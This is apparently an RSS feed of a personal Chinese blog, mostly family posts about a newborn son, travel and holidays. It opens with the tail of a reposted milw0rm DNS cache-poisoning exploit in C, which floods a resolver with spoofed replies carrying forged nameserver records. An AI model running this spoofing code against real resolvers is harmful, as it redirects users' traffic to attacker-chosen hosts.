0);<br>
&nbsp;&nbsp; if (domain[strlen(domain) - 1 ] != '.')<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, "domain must end
with dot(.): %s\n", domain), exit(1);<br>
&nbsp;&nbsp; printf("Chance of success: 1-(1-%d/65536)**%d =
%.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.),
attempts));<br>
&nbsp;&nbsp; srand(time(NULL));<br>
&nbsp;&nbsp; int unique = rand() + (rand() &lt;&lt; 16);<br>
&nbsp;&nbsp; u_char buf[IP_LEN_MAX];<br>
&nbsp;&nbsp; unsigned len;<br>
&nbsp;&nbsp; char name[256];<br>
&nbsp;&nbsp; char ns[256];<br>
&nbsp;&nbsp; ip_t *iph;<br>
&nbsp;&nbsp; if ((iph = ip_open()) == NULL)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; err(1, "ip_open");<br>
&nbsp;&nbsp; int cnt = 0;<br>
&nbsp;&nbsp; while (cnt &lt; attempts)<br>
&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // send a query for a random
hostname<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; snprintf(name, sizeof (name),
"%08x%08x.%s", unique, cnt, domain);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len = build_query(buf, querier,
ip_resolver, name);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ip_send(iph, buf, len) !=
len)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; err(1,
"ip_send");<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // give the resolver enough time to
forward the query and be in a state<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // where it waits for answers;
sleeping 10ms here limits the number of<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // attempts to 100 per sec<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usleep(10000);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // send spoofed replies, each reply
contains:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // - 1 query: query for the "random
hostname"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // - 1 answer: "random hostname" A
1.1.1.1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // - 1 authoritative nameserver:
&lt;domain&gt; NS &lt;subhost&gt;.&lt;domain&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // - 1 additional record:
&lt;subhost&gt;.&lt;domain&gt; A &lt;any-ip&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; snprintf(ns, sizeof (ns), "%s.%s",
subhost, domain);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned r;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (r = 0; r &lt; replies; r++)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // use a txid that
is just 'r': 0..(replies-1)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len =
build_response(buf, ip_authoritative, ip_resolver,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
port_resolver, r, name, "1.1.1.1", domain, ns, anyip);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ip_send(iph,
buf, len) != len)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
err(1, "ip_send");<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cnt++;<br>
&nbsp;&nbsp; }<br>
&nbsp;&nbsp; ip_close(iph);<br>
&nbsp;&nbsp; return 0;<br>
}</code></p>
<p><code>// milw0rm.com [2008-07-25]</code></p>

]]></description><guid>http://www.i170.com/Article/109293</guid><trackback:ping>http://www.i170.com/Article/109293/trackback</trackback:ping><comments>http://www.i170.com/Article/109293#comment</comments><wfw:commentRss>http://www.i170.com/Article/109293/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/108983</link><title><![CDATA[baby 8 monthes]]></title><author>john</author><category></category><pubDate>Thu, 24 Jul 2008 08:27:24  +0800</pubDate><description><![CDATA[<p>baby 8 monthes</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>
&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;</p>
<p><img height="512" width="640" alt="" src=
"http://www.i170.com/Attach/333017C0-792C-4C74-9294-C10C37E6E91E"></p>
<p>
&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;</p>
<p><img height="512" width="640" alt="" src=
"http://www.i170.com/Attach/C33BE821-A00E-46D2-98F5-09BA137CFC22"></p>
<p>
&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;</p>
<p><img height="512" width="640" alt="" src=
"http://www.i170.com/Attach/4C2E17C1-9D15-43FD-BC12-8C0C249FE223"></p>
<p>
&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;</p>
<p><img height="512" width="640" alt="" src=
"http://www.i170.com/Attach/D78DDE5A-2A68-4BEF-8017-4816F7186B0F"></p>
<p>
&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;</p>
<p><img height="512" width="640" alt="" src=
"http://www.i170.com/Attach/9D5D6C34-8022-41E6-B331-7A03C343F52A"></p>
<p>
&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;</p>

]]></description><guid>http://www.i170.com/Article/108983</guid><trackback:ping>http://www.i170.com/Article/108983/trackback</trackback:ping><comments>http://www.i170.com/Article/108983#comment</comments><wfw:commentRss>http://www.i170.com/Article/108983/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/104345</link><title><![CDATA[满5月沐浴中]]></title><author>john</author><category></category><pubDate>Sun, 20 Apr 2008 15:02:05  +0800</pubDate><description><![CDATA[<p><img height="1024" alt="" width="1280" src=
"http://www.i170.com/Attach/65A04414-5D9C-4637-AAC4-86807A930659"></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><img height="1024" alt="" width="1280" src=
"http://www.i170.com/Attach/31724F50-C04A-473F-AD09-D14951BC9934"></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><img height="1024" alt="" width="1280" src=
"http://www.i170.com/Attach/A7FC7FE5-A448-4668-9996-0BDC9A73C211"></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><img height="1024" alt="" width="1280" src=
"http://www.i170.com/Attach/F8CD3D73-FBB5-4263-AA5E-5F596330E1BF"></p>
<p>&nbsp;</p>

]]></description><guid>http://www.i170.com/Article/104345</guid><trackback:ping>http://www.i170.com/Article/104345/trackback</trackback:ping><comments>http://www.i170.com/Article/104345#comment</comments><wfw:commentRss>http://www.i170.com/Article/104345/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/104344</link><title><![CDATA[Baby Dad Computer Network]]></title><author>john</author><category></category><pubDate>Sun, 20 Apr 2008 14:56:51  +0800</pubDate><description><![CDATA[<p><img alt="" src=
"http://www.i170.com/Attach/6FEDF4A5-6D07-46CD-BB6A-E36A0B131C01"></p>
<p>&nbsp;</p>
<p><img height="1024" width="1280" alt="" src=
"http://www.i170.com/Attach/B3563447-2CD3-4216-B460-A2C8FAAE09B1"></p>
<p>&nbsp;</p>
<p><img height="1024" width="1280" alt="" src=
"http://www.i170.com/Attach/3301DCBD-7B7A-4C57-8A3D-18324591B427"></p>

]]></description><guid>http://www.i170.com/Article/104344</guid><trackback:ping>http://www.i170.com/Article/104344/trackback</trackback:ping><comments>http://www.i170.com/Article/104344#comment</comments><wfw:commentRss>http://www.i170.com/Article/104344/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/102195</link><title><![CDATA[国务院之清明节放假通知]]></title><author>john</author><category></category><pubDate>Fri, 14 Mar 2008 13:33:28  +0800</pubDate><description><![CDATA[<p><a href=
"http://news.sina.com.cn/c/2008-03-14/065915146555.shtml">http://news.sina.com.cn/c/2008-03-14/065915146555.shtml</a></p>
<p>&nbsp;</p>
<p>根据国务院办公厅通知精神，现将2008年清明节放假安排通知如下:</p>
<p>　　4月4日至6日放假，共3天。</p>
<p>
　　其中，4月4日(清明节)为法定节假日，4月5日(星期六)、4月6日(星期日)照常公休。各企事业单位可根据生产和工作情况自行安排。节日期间，各单位要加强值班，认真做好防火、安全保卫和卫生防疫等各项工作。</p>
<p>　　北京市人民政府办公厅二○○八年三月十四日</p>
<div align="center">&nbsp;</div>
<p>&nbsp;</p>

]]></description><guid>http://www.i170.com/Article/102195</guid><trackback:ping>http://www.i170.com/Article/102195/trackback</trackback:ping><comments>http://www.i170.com/Article/102195#comment</comments><wfw:commentRss>http://www.i170.com/Article/102195/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/97489</link><title><![CDATA[来到了传说中的香格里拉,彻骨的冷]]></title><author>john</author><category></category><pubDate>Thu, 10 Jan 2008 00:18:27  +0800</pubDate><description><![CDATA[<p>
来到了传说中的香格里拉,晚上零下十几度,大高原,冷得彻骨,远处的山上挂着白雪,水里结着冷,香格里拉市中心美丽的人工喷泉,喷泉二三十米高,可是喷泉池里结着厚厚的冰</p>
<p>&nbsp;</p>
<p>
大街上中午太阳睛好,人比较多,早上出来,街上就我们几个,一出来就感觉到刀子划向我的脸、手和我的裤管，哪叫一个冷&nbsp;</p>
<p>这几天天气睛好，还好，看天气预报，两三天后要下雪，怎么办啊</p>
<p>&nbsp;</p>
<p>而过几天还要去怒江，那可是大雪山啊</p>
<p>&nbsp;</p>

]]></description><guid>http://www.i170.com/Article/97489</guid><trackback:ping>http://www.i170.com/Article/97489/trackback</trackback:ping><comments>http://www.i170.com/Article/97489#comment</comments><wfw:commentRss>http://www.i170.com/Article/97489/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/96905</link><title><![CDATA[元旦快乐]]></title><author>john</author><category></category><pubDate>Tue, 01 Jan 2008 09:26:21  +0800</pubDate><description><![CDATA[<p>元旦快乐!</p>
<p>2008快乐!</p>

]]></description><guid>http://www.i170.com/Article/96905</guid><trackback:ping>http://www.i170.com/Article/96905/trackback</trackback:ping><comments>http://www.i170.com/Article/96905#comment</comments><wfw:commentRss>http://www.i170.com/Article/96905/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/95175</link><title><![CDATA[为我的宝贝写一点]]></title><author>john</author><category></category><pubDate>Thu, 06 Dec 2007 00:05:08  +0800</pubDate><description><![CDATA[<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
深夜了，给我的宝宝写一点</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><font face=
"Times New Roman"><span lang="EN-US" style=
"font-size: 12pt; mso-ascii-font-family: 'Courier New'; mso-font-kerning: 0pt">
&nbsp;</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
从湖南老家过来广州有两天了，愈发想念我的宝宝</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><font face=
"Times New Roman"><span lang="EN-US" style=
"font-size: 12pt; mso-ascii-font-family: 'Courier New'; mso-font-kerning: 0pt">
&nbsp;</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
宝宝到今天出生有</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">12</span><span style="font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">天了</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><font face=
"Times New Roman"><span lang="EN-US" style=
"font-size: 12pt; mso-ascii-font-family: 'Courier New'; mso-font-kerning: 0pt">
&nbsp;</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
我的宝宝</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
一出生头发就黑黑的，长长的，密密的，这点很象他爸爸小时候。</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><font face=
"Times New Roman"><span lang="EN-US" style=
"font-size: 12pt; mso-ascii-font-family: 'Courier New'; mso-font-kerning: 0pt">
&nbsp;</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
两只小手手张得大大的，指头伸得很开，一看将来又是个不聚财的家伙，这个象极了他爸爸妈妈</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">.<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><font face=
"Times New Roman"><span lang="EN-US" style=
"font-size: 12pt; mso-ascii-font-family: 'Courier New'; mso-font-kerning: 0pt">
&nbsp;</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
也不怎么哭闹，吃完了就睡，饿了就会哭两声来提醒，就是吃奶的时间有些长，把他妈妈累得够怆，一顿奶可以吃两三个小时，分两次吃，第一次睡醒了哭两声，就知道要吃奶了，吃了一半不吃了，这会儿就知道要大小便了，大小便完了又继续吃，吃完了就满足的睡去，睡着的时候打着饱嗝，一下一下的。</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><font face=
"Times New Roman"><span lang="EN-US" style=
"font-size: 12pt; mso-ascii-font-family: 'Courier New'; mso-font-kerning: 0pt">
&nbsp;</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></font></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
要大小便了也会哭两声来提醒，所以很多时候就不会把大小便拉到尿片上，要大便之前还会放个屁来预告一下，如果要小便，小</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">JJ</span><span style="font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">头会被尿涨得挺挺的，让你一见就知道马上要拉尿了</span>
<span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
。</span><span lang="EN-US" style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span lang="EN-US"
style=
"font-size: 12pt; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
<o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
白天醒着的时间不多，醒着的时候眼睛睁着爸爸的脸，眼珠子一转一转的，受不了强光，在医院的时候日光灯太强了，一打开灯灯光直射到眼睛就闭上了，在家钨丝灯（不敢开日光灯了）柔和的灯光宝宝很喜欢。晚上就闹腾了，而且晚上吃奶的时间特别长，一顿奶两三个小时大多在晚上，折腾他妈妈，爸爸又要起来给妈妈弄吃的去，妈妈给他吃饿了。</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span lang="EN-US"
style=
"font-size: 12pt; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
<o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
爷爷奶奶也象个孩子一样，要跟妈妈抢着晚上和宝宝一起睡，现在爸爸来广州了，奶奶如愿以偿的跑到妈妈房间整晚上的陪着宝宝了。爷爷坐不住了，要把宝宝晚上抱过去，吃奶时送过来给妈妈，说和爷爷睡整晚上不哭不闹腾宝宝最乖了，并说在医院里有两晚爷爷抱着整晚上都安安静静的，这倒让我感受到了爷爷招呼小孩的功夫，是啊，我们兄弟几个都是他养大的。</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span lang="EN-US"
style=
"font-size: 12pt; font-family: 宋体; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
<o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span style=
"font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">
最后要说的是，楚姐送宝宝的礼物，在老家我打开发现里面还有张卡片，有楚姐、周宁、越武和小伊给宝宝起的名字和祝福，真的让我很感动。楚姐最是为我的宝宝费心了，为宝宝的名字楚姐去英特网找好名字，我给宝宝起的刘创的名字给楚姐测出来只打</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">75</span><span style="font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">分，楚姐给起的刘星辰</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">(</span><span style="font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">超毅也起过这名字</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">)</span><span style="font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">和刘湘湘分别打</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">99.5</span><span style="font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">（完美了）和</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">85</span><span style="font-size: 12pt; font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">的高分，呵呵</span><span lang="EN-US"
style=
"font-size: 12pt; font-family: Wingdings; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt; mso-char-type: symbol; mso-symbol-font-family: Wingdings"><span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">J</span></span><span lang="EN-US"
style=
"font-size: 12pt; font-family: &quot;Courier New&quot;; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt"><span lang="EN-US"
style="font-size: 12pt"><o:p><font face=
"Times New Roman">&nbsp;</font></o:p></span></p>

]]></description><guid>http://www.i170.com/Article/95175</guid><trackback:ping>http://www.i170.com/Article/95175/trackback</trackback:ping><comments>http://www.i170.com/Article/95175#comment</comments><wfw:commentRss>http://www.i170.com/Article/95175/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/95064</link><title><![CDATA[baby&#39;&#39;s photo]]></title><author>john</author><category></category><pubDate>Tue, 04 Dec 2007 00:27:51  +0800</pubDate><description><![CDATA[<p><img height="320" width="240" alt="" src=
"http://www.i170.com/Attach/4A9781C8-AFA7-4860-B975-20BB5FFE6BCF"><img height="1024"
width="1280" alt="" src=
"http://www.i170.com/Attach/5709EE2D-019E-4B30-846B-5CBE63BEBDC0"><img height="1024"
width="1280" alt="" src=
"http://www.i170.com/Attach/189CB77A-6A17-4A47-8AB5-CAFC099E3879"></p>

]]></description><guid>http://www.i170.com/Article/95064</guid><trackback:ping>http://www.i170.com/Article/95064/trackback</trackback:ping><comments>http://www.i170.com/Article/95064#comment</comments><wfw:commentRss>http://www.i170.com/Article/95064/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/91984</link><title><![CDATA[MY BABY]]></title><author>john</author><category></category><pubDate>Fri, 19 Oct 2007 18:50:06  +0800</pubDate><description><![CDATA[<p>我的宝宝还有三十多天就要出生了,我却还在云南忙项目,而且这个项目估计要弄到12月底</p>
<p>&nbsp;</p>
<p>宝宝的名字还没有想好</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>就要从儿子的身份变成父亲了,希望我的宝宝将来是个有出息的人,胜过他爸爸,一生幸福,快乐</p>

